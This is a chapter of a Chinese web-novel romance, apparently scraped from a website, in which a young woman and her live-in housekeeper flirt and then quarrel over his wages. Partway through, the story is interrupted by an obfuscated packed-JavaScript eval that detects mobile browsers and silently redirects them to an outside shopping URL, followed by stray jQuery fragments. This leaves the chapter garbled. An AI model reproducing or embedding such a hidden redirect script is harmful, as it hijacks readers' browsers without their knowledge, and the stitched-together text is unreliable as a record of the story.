21. 21

作品:《同居被发现梦游后

    “昭月,你回来了?”


    陈赓山像是才发现一旁愣怔的人,面色正常地将手中端的菜放下,随后微微弯腰,倒了杯温水。


    “累了吧,先喝点水,还有一道菜,很快就好。”


    说着,他缓慢地朝梁昭月走来,将手中的水杯递过去。


    梁昭月几乎是下意识地屏住了呼吸,眼神发直地盯着越来越近的人,大脑一片宕机。


    她不得不承认,此人的身材实在是好,粉白的皮肤或许是常年不见阳光,近距离时,能轻而易举地看见皮肤的纹理,尤其是围着那条可笑的卡通围裙时,贲张的肌肉将围裙撑出一个鼓鼓囊囊的弧度,令人目不转睛。


    “怎么了?”


    偏偏陈赓山还毫无所觉的样子,捏着水杯看她不吱声,微微弯腰,宽松款式的围裙领口下坠时,露出了内里明晃晃的沟壑,隐约可见锁骨下的一颗细小红痣,又或者,更深处的……


    梁昭月:“……”


    她费了很大的意志力才忍住不往里看,又费了一点力气狠狠咬了下舌尖,这才从男色中回过神来。


    抬起手接水喝了口,她轻咳一声,状似无异地问。


    “很热吗,怎么不穿衣服?”


    闻言,陈赓山低头看了看自己,恍然大悟般一拍脑袋。


    “差点忘了告诉你,家里的中央温控坏了,厨房有点闷,所以我就……”


    顿了顿,他又眨眨眼,无辜地看向梁昭月。


    “昭月,你不会介意吧?”


    那我还能说什么呢?


    梁昭月快速地瞥了他一眼,见他一张脸老实的很,实在是不像是故意的,微微放下心。


    “没事,你想怎么样就怎么样。”


    “那就好!”


    陈赓山忽地笑起来,而后又凑下身体,慢悠悠地贴近对方的耳朵。


    “要是昭月喜欢的话,那就更好了。”


    他话说的轻飘飘的,钻进耳朵里痒痒的,梁昭月没来的反应过来,手中的水杯就被人拿走,若有若无的,手指还被人碰了碰。


    直到人走远,她才揉了揉发热的耳朵,明白过来这人脸上的老实都是装出来的,内心指不定怎么蔫坏呢!


    她气鼓鼓的瞪了眼厨房里的背影,转身去了洗漱间,打算洗把脸清醒一下。


    “哗啦啦——”


    恒温的水龙头连出水都是温热的,梁昭月洗了半天脸,脸上反而更红了,她盯着镜子里湿漉漉的人,绷着脸骂了一句。


    “没出息!”


    明明在自己家,怎么就那么被动的呢?


    一撩就脸红,一凑近就紧张,真是栽他身上了。


    梁昭月用毛巾一点点擦拭干水渍,和镜子里的人四目相对,看着看着,嘴角又勾起来。


    可恶!


    她拼命压抑心中莫名的雀跃,伸出手,硬生生把弯起的嘴角按下去。


    “不许笑!”


    “不许对臭男人笑!”


    她虎着脸,一本正经的对着镜子里的人威胁,但坚持了不到三秒,又败下阵来。


    “啊啊啊啊啊!”


    梁昭月低声咆哮了一会,对着镜子狠狠挥舞了一下拳头,然后……然后就放弃了。


    蒜鸟蒜鸟,反正最亲密的事情都做了,也不差这一点了。


    她颓然地想着,一扭头,看见浴室地上的脏衣娄,乱糟糟的衣服堆在里面,有她的裙子,也有男士衬衫,混在一起,说不上的暧昧。


    不止是衣服,还有洗手台上摆放的牙刷和杯子,架子上的毛巾和浴巾,乱七八糟的东西都是成双成对。


    梁昭月:“……”


    她几乎是看呆了,这人什么时候摆的,以前没有的吧?!


    陈赓山做好最后一道菜时,刚好看到梁昭月气冲冲的从洗漱间跑出来,他直起身看她,眼神不解。


    “怎么了?”


    近到前来,梁昭月又忽地语塞,她嘴巴张张合合,欲言又止的看向面前的人,憋红了眼,到最后只能怂兮兮的问了一句。


    “呃……这个月,我还没给你发工资吧。”


    她垂下眼瞄着一桌子的饭菜,挣扎着想要回归公事公办的态度。


    毕竟,如今这个明显越来越越界的陈赓山,她实在是有点招架不住了。


    主动提起工资,也是为了提醒他,他们之间还有一层雇佣关系,即便发生了一点小意外,但本质上,还没到男女朋友的地步。


    所以,那些小动作,那些暗搓搓的心思,或许,该暗示他收敛一点了。


    面前人的紧张和无措都快溢出来了,陈赓山看了一会,没由来的想把人揉进怀里。


    太可爱了。


    因为紧张憋红的脸,因为紧张捏着衣角的手,因为紧张甚至不敢和他对视。


    他自然知道梁昭月话里话外的意思是什么,她太单纯了,也太迟钝了,直到今天,才开始意识到和另一个男人同居会出现无法避免的亲密。


    这种亲密有时候会因为异性相吸而感到刺激,但冷静下来后,又会出现一点点的不适。


    正是因为这种不适,她产生了一点事情不可控的危机感,所以第一反应是遏断对方的念头,从源头上。


    身为“源头”的陈赓山却是没感觉到羞愧,反而是有些跃跃欲试的兴奋,梁昭月越是步步退缩,他就越想把人逼到角落里,一点点侵占她的全部,狠狠蹂躏。


    那时候,她或许才能知道,一切都晚了,在那晚的直播间里,在亚特兰大回国的飞机里,她眨着眼睛发出邀请时,就已经没办法回头了。


    梁昭月问出来这句话后,懊恼得差点没忍住把自己舌头咬下来。


    这都什么跟什么啊,九曲十八弯的提了个工资,对方怎么能明白啊?!


    她内心忍不住腹诽自己,一时间尴尬的连头都没敢抬,疯狂祈祷着有什么人或事快点出现救一下场。


    正在她倍感煎熬的时候,她听见一声沙哑的轻笑。


    陈赓山伸出手揉了揉她的脑袋,干燥的手指在头皮上激起一阵酥麻,一点点顺着脸颊滑落,而后落在下巴上。


    他只是轻轻一勾,女人就被迫抬起了脸。


    即便如此,那双湿漉漉如同小鹿般的眼睛还是闪躲着,竭力不和他对视。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807034|190430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    陈赓山喉间又溢出一声笑,慢慢摩挲着女人细腻的下巴,缓缓俯下身。


    余光看见一道黑影压下来,梁昭月一颗心提的高高的,停滞的脑海疯狂思索着该抬手给他一巴掌,还是推开他,拉开距离。


    还没决定好,属于另一人的气息便扑面而来,瞬间侵占了她的呼吸。


    没了供氧,脑子转的更慢了,梁昭月只能绝望的闭上眼。


    陈赓山看见她闭眼后,微微一愣,视线落在她轻颤的睫毛上,一点点往下,如有实质般最终停留在饱满的唇瓣上。


    我的昭昭啊,他眸底晦暗不明,内心却在悄悄叹气。


    你这样,只会让人以为在索吻……


    即便心中蠢蠢欲动,陈赓山还是在凑近的最后一刻,停下了动作,他喑哑的声音像是压抑了许多,慢吞吞的问道。


    “工资?”


    “或许,昭月可以用别的东西代付。”


    屏蔽了视线,其他地方的感官就无限放大,梁昭月一开始只是紧张,但听到这别有意味的话语后,垂落的手忽地僵住,一脸不可思议的睁开了眼。


    “你说什么?”


    她表情有些空白,死死盯着面前的男人,提起的心忽地往下坠,像是不敢相信这是陈赓山说出的话。


    “陈赓山。”


    梁昭月一字一顿地喊他,抬起的脸有丝丝愠怒,直直看入对方的眼睛时,带着些不可抵挡的锐利。


    “我想你是不是误会了些什么?”


    “工资是你这个月辛苦洗衣做饭的酬劳,不是什么调情的工具,你能明白吗?”


    梁昭月轻叹了一口气,无力的垂落眼睛,把面前的人推开。


    “先吃饭吧。”


    一餐饭吃的索然无味,梁昭月草草吃了几口就放下了筷子,她没去看餐桌对面的人,径直起了身。


    陈赓山盯着离开餐桌的人,捏着筷子的手指倏地收紧,因为力气用的极大,指骨透出些病态的白。


    若是能重回半个小时之前,他肯定会狠扇自己一巴掌,告诫自己别犯傻,至少,至少别惹她生气。


    他如今是后悔极了,恨不得将心剖出来捧着,不管不顾地冲上去拉住她,实话实说,将所有贪念和欲/望都血肉模糊地摊开,告诉她自己疯狂到偏执的占有欲。


    可是不行。


    他知道,这个时候贴上去只会适得其反,他不想再徒增厌恶了。


    忍着内心的钝痛,陈赓山胸口堵得很,但还是强撑着做完了家务,又洗了个冷水澡。


    等到了休息的时间,他伫立在主卧门口,抬着手,轻轻敲了敲门。


    过了片刻,里面传出声音,隔着一道门,闷闷的,有些失真,像是哭过,也像是不高兴。


    “今天我自己一个人睡。”


    不高不低的声音,但陈赓山听的真切,听到的那一瞬间心就沉了下去,苦闷的疼痛铺天盖地朝他袭来,窒得他差点呼吸不上来。


    他揪着自己领口的衣服,祈求又渴盼地虚望着丝毫没有动静的卧室门,好半晌,才失望地垂下脑袋,涩然回应。


    “好。”